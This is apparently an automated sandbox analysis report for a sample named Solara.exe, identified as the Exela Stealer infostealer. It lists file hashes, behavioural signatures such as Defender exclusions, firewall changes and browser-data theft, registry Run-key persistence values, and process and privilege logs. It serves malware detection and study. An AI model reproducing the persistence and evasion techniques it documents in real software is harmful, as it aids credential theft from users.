Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows11-21h2_x64 -
resource
win11-20241023-en -
resource tags
arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system -
submitted
12/01/2025, 22:09
Static task
static1
Behavioral task
behavioral1
Sample
Solara.exe
Resource
win10ltsc2021-20241211-en
Behavioral task
behavioral2
Sample
Solara.exe
Resource
win11-20241023-en
General
-
Target
Solara.exe
-
Size
13.5MB
-
MD5
6ca6ea858de3f4203df8b8c5c218ad17
-
SHA1
71a0778b88469b8a62e472f8827465e2e68fbec6
-
SHA256
421ed8931f574d6dcc86eb7fa2fbb0fc9069aebf22dbc0c4c0f341c7864d3784
-
SHA512
e6324cd5c130e86038666ed4882a4a7f37f168c771bf6ef86aed19eb6733c2a8a875a01271cd1d82d193c665dbaaf6e21cf12c2ced18d20a1cfb2712f9e0ff00
-
SSDEEP
393216:NsEANEX3gBGYVwwoE0VhUqE7SlO9h4m/a360m:NhIEX3kGN/XBEWs4EA60m
Malware Config
Signatures
-
Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
-
Exelastealer family
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4300 powershell.exe 900 powershell.exe 8 powershell.exe 2996 powershell.exe 4720 powershell.exe 1144 powershell.exe 688 powershell.exe 4588 powershell.exe 3956 powershell.exe 1616 powershell.exe 716 powershell.exe 5060 powershell.exe 1804 powershell.exe 1572 powershell.exe 3744 powershell.exe 1760 powershell.exe 4848 powershell.exe 3256 powershell.exe 1812 powershell.exe 2548 powershell.exe 4244 powershell.exe 1580 powershell.exe 2624 powershell.exe 3760 powershell.exe 852 powershell.exe 2420 powershell.exe 3308 powershell.exe 764 powershell.exe 2740 powershell.exe 2976 powershell.exe 804 powershell.exe 4508 powershell.exe 3564 powershell.exe 3420 powershell.exe 5004 powershell.exe 3144 powershell.exe 2664 powershell.exe 4504 powershell.exe 4624 powershell.exe 2264 powershell.exe 3144 powershell.exe 764 powershell.exe 4160 powershell.exe 1860 powershell.exe 3140 powershell.exe 2228 powershell.exe 4048 powershell.exe 1520 powershell.exe 3908 powershell.exe 4036 powershell.exe 4652 powershell.exe 4244 powershell.exe 5060 powershell.exe 2924 powershell.exe 2876 powershell.exe 1540 powershell.exe 1244 powershell.exe 4280 powershell.exe 3428 powershell.exe 3284 powershell.exe 2856 powershell.exe 1932 powershell.exe 2240 powershell.exe 4696 powershell.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 3320 netsh.exe 3828 netsh.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 1984 cmd.exe 8 powershell.exe -
Executes dropped EXE 64 IoCs
pid Process 3488 Exela.exe 4568 Exela.exe 3492 Exela.exe 3020 Exela.exe 1040 Exela.exe 1756 Exela.exe 5076 Exela.exe 5092 Exela.exe 1080 Exela.exe 1348 Exela.exe 4804 Exela.exe 1420 Exela.exe 3720 Exela.exe 2704 Exela.exe 4392 Exela.exe 5076 Exela.exe 2484 Exela.exe 4084 Exela.exe 1468 Exela.exe 3496 Exela.exe 400 Exela.exe 1584 Exela.exe 1724 Exela.exe 4792 Exela.exe 4852 Exela.exe 4152 Exela.exe 2004 Exela.exe 2992 Exela.exe 1632 Exela.exe 684 Exela.exe 4952 Exela.exe 236 Exela.exe 568 Exela.exe 1112 Exela.exe 3016 Exela.exe 3448 Exela.exe 4888 Exela.exe 1356 Exela.exe 780 Exela.exe 868 Exela.exe 4392 Exela.exe 4712 Exela.exe 4104 Exela.exe 4788 Exela.exe 2384 Exela.exe 1672 Exela.exe 4244 Exela.exe 4152 Exela.exe 1572 Exela.exe 228 Exela.exe 1756 Exela.exe 720 Exela.exe 2328 Exela.exe 2636 Exela.exe 2240 Exela.exe 1216 Exela.exe 3772 Exela.exe 1436 Exela.exe 1300 Exela.exe 4948 Exela.exe 2584 Exela.exe 3416 Exela.exe 4880 Exela.exe 228 Exela.exe -
Loads dropped DLL 64 IoCs
pid Process 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 4568 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 4568 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 3020 Exela.exe 1756 Exela.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe" Solara.exe Set value (str) \REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe" Solara.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
pid Process 4792 cmd.exe 3324 ARP.EXE -
Enumerates processes with tasklist 1 TTPs 5 IoCs
pid Process 2984 tasklist.exe 112 tasklist.exe 1592 tasklist.exe 1516 tasklist.exe 3024 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 1540 cmd.exe -
resource yara_rule behavioral2/files/0x001900000002ac09-93.dat upx behavioral2/memory/4568-97-0x00007FFDD9490000-0x00007FFDD98FE000-memory.dmp upx behavioral2/memory/4568-105-0x00007FFDDE050000-0x00007FFDDE074000-memory.dmp upx behavioral2/files/0x001900000002abd1-125.dat upx behavioral2/memory/4568-126-0x00007FFDE34D0000-0x00007FFDE34DF000-memory.dmp upx behavioral2/files/0x001900000002abd0-124.dat upx behavioral2/files/0x001900000002abcf-123.dat upx behavioral2/files/0x001900000002abce-122.dat upx behavioral2/files/0x001900000002abcd-121.dat upx behavioral2/files/0x001900000002abcc-120.dat upx behavioral2/files/0x001900000002abcb-119.dat upx behavioral2/files/0x001900000002abca-118.dat upx behavioral2/files/0x001900000002abc9-117.dat upx behavioral2/files/0x001900000002abc8-116.dat upx behavioral2/files/0x001900000002abc6-115.dat upx behavioral2/files/0x001900000002abc5-114.dat upx behavioral2/files/0x001900000002abc4-113.dat upx behavioral2/files/0x001c00000002ac0e-112.dat upx behavioral2/files/0x001900000002ac0d-111.dat upx behavioral2/files/0x001900000002ac0a-110.dat upx behavioral2/memory/4568-128-0x00007FFDDF280000-0x00007FFDDF299000-memory.dmp upx behavioral2/memory/4568-130-0x00007FFDE2D20000-0x00007FFDE2D2D000-memory.dmp upx behavioral2/memory/4568-138-0x00007FFDD9230000-0x00007FFDD93A1000-memory.dmp upx behavioral2/memory/4568-136-0x00007FFDD9BC0000-0x00007FFDD9BDF000-memory.dmp upx behavioral2/memory/4568-140-0x00007FFDD9460000-0x00007FFDD948E000-memory.dmp upx behavioral2/memory/4568-134-0x00007FFDD9F10000-0x00007FFDD9F3D000-memory.dmp upx behavioral2/memory/4568-132-0x00007FFDDD200000-0x00007FFDDD219000-memory.dmp upx behavioral2/files/0x001400000002abfe-141.dat upx behavioral2/memory/4568-145-0x00007FFDD9170000-0x00007FFDD9228000-memory.dmp upx behavioral2/memory/4568-148-0x00007FFDDE050000-0x00007FFDDE074000-memory.dmp upx behavioral2/memory/4568-147-0x00007FFDD5570000-0x00007FFDD58E5000-memory.dmp upx behavioral2/memory/4568-144-0x00007FFDD9490000-0x00007FFDD98FE000-memory.dmp upx behavioral2/files/0x004900000002abfc-143.dat upx behavioral2/files/0x001900000002ac07-109.dat upx behavioral2/files/0x002000000002abfd-106.dat upx behavioral2/files/0x001900000002abc7-103.dat upx behavioral2/files/0x001900000002ac10-157.dat upx behavioral2/files/0x001900000002ac04-165.dat upx behavioral2/memory/4568-167-0x00007FFDD90E0000-0x00007FFDD90FB000-memory.dmp upx behavioral2/memory/4568-166-0x00007FFDD9BC0000-0x00007FFDD9BDF000-memory.dmp upx behavioral2/files/0x001900000002abd3-179.dat upx behavioral2/memory/4568-191-0x00007FFDD5320000-0x00007FFDD533E000-memory.dmp upx behavioral2/memory/4568-190-0x00007FFDD9460000-0x00007FFDD948E000-memory.dmp upx behavioral2/memory/4568-189-0x00007FFDD9E10000-0x00007FFDD9E1A000-memory.dmp upx behavioral2/memory/4568-188-0x00007FFDCDC10000-0x00007FFDCDC42000-memory.dmp upx behavioral2/memory/4568-192-0x00007FFDD9170000-0x00007FFDD9228000-memory.dmp upx behavioral2/memory/4568-194-0x00007FFDC0800000-0x00007FFDC0FFB000-memory.dmp upx behavioral2/memory/4568-187-0x00007FFDD59D0000-0x00007FFDD59E1000-memory.dmp upx behavioral2/memory/4568-196-0x00007FFDC8990000-0x00007FFDC89C7000-memory.dmp upx behavioral2/memory/4568-195-0x00007FFDD5570000-0x00007FFDD58E5000-memory.dmp upx behavioral2/memory/4568-186-0x00007FFDC89D0000-0x00007FFDC8A1D000-memory.dmp upx behavioral2/memory/4568-185-0x00007FFDD59F0000-0x00007FFDD5A08000-memory.dmp upx behavioral2/memory/4568-184-0x00007FFDD9230000-0x00007FFDD93A1000-memory.dmp upx behavioral2/files/0x001900000002abdc-183.dat upx behavioral2/files/0x001900000002abdb-182.dat upx behavioral2/files/0x001900000002abd4-178.dat upx behavioral2/memory/4568-163-0x00007FFDCE420000-0x00007FFDCE538000-memory.dmp upx behavioral2/memory/4568-161-0x00007FFDD9100000-0x00007FFDD9122000-memory.dmp upx behavioral2/memory/4568-160-0x00007FFDD9130000-0x00007FFDD9144000-memory.dmp upx behavioral2/memory/4568-159-0x00007FFDD9150000-0x00007FFDD9164000-memory.dmp upx behavioral2/files/0x001c00000002ac02-155.dat upx behavioral2/memory/4568-154-0x00007FFDDCE90000-0x00007FFDDCEA0000-memory.dmp upx behavioral2/memory/4568-153-0x00007FFDDF280000-0x00007FFDDF299000-memory.dmp upx behavioral2/memory/4568-150-0x00007FFDD9440000-0x00007FFDD9455000-memory.dmp upx -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3860 sc.exe -
Detects Pyinstaller 1 IoCs
resource yara_rule behavioral2/files/0x001e00000002ab5a-35.dat pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
-
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 1696 cmd.exe 2088 netsh.exe -
System Network Connections Discovery 1 TTPs 1 IoCs
Attempt to get a listing of network connections.
pid Process 4000 NETSTAT.EXE -
Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
pid Process 1964 WMIC.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1572 WMIC.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1080 ipconfig.exe 4000 NETSTAT.EXE -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4388 systeminfo.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1520 powershell.exe 1520 powershell.exe 4504 powershell.exe 4504 powershell.exe 2792 powershell.exe 2792 powershell.exe 3144 powershell.exe 3144 powershell.exe 8 powershell.exe 8 powershell.exe 688 powershell.exe 688 powershell.exe 764 powershell.exe 764 powershell.exe 3144 powershell.exe 3144 powershell.exe 2664 powershell.exe 2664 powershell.exe 1580 powershell.exe 1580 powershell.exe 2976 powershell.exe 2976 powershell.exe 1540 powershell.exe 1540 powershell.exe 2432 powershell.exe 2432 powershell.exe 1732 powershell.exe 1732 powershell.exe 5092 powershell.exe 5092 powershell.exe 764 powershell.exe 764 powershell.exe 804 powershell.exe 804 powershell.exe 3908 powershell.exe 3908 powershell.exe 8 powershell.exe 8 powershell.exe 2624 powershell.exe 2624 powershell.exe 4588 powershell.exe 4588 powershell.exe 3356 powershell.exe 3356 powershell.exe 1244 powershell.exe 1244 powershell.exe 4508 powershell.exe 4508 powershell.exe 4300 powershell.exe 4300 powershell.exe 3564 powershell.exe 3564 powershell.exe 900 powershell.exe 900 powershell.exe 1516 powershell.exe 1516 powershell.exe 1124 powershell.exe 1124 powershell.exe 4160 powershell.exe 4160 powershell.exe 2156 powershell.exe 2156 powershell.exe 8 powershell.exe 8 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1520 powershell.exe Token: SeDebugPrivilege 4504 powershell.exe Token: SeDebugPrivilege 2792 powershell.exe Token: SeIncreaseQuotaPrivilege 1572 WMIC.exe Token: SeSecurityPrivilege 1572 WMIC.exe Token: SeTakeOwnershipPrivilege 1572 WMIC.exe Token: SeLoadDriverPrivilege 1572 WMIC.exe Token: SeSystemProfilePrivilege 1572 WMIC.exe Token: SeSystemtimePrivilege 1572 WMIC.exe Token: SeProfSingleProcessPrivilege 1572 WMIC.exe Token: SeIncBasePriorityPrivilege 1572 WMIC.exe Token: SeCreatePagefilePrivilege 1572 WMIC.exe Token: SeBackupPrivilege 1572 WMIC.exe Token: SeRestorePrivilege 1572 WMIC.exe Token: SeShutdownPrivilege 1572 WMIC.exe Token: SeDebugPrivilege 1572 WMIC.exe Token: SeSystemEnvironmentPrivilege 1572 WMIC.exe Token: SeRemoteShutdownPrivilege 1572 WMIC.exe Token: SeUndockPrivilege 1572 WMIC.exe Token: SeManageVolumePrivilege 1572 WMIC.exe Token: 33 1572 WMIC.exe Token: 34 1572 WMIC.exe Token: 35 1572 WMIC.exe Token: 36 1572 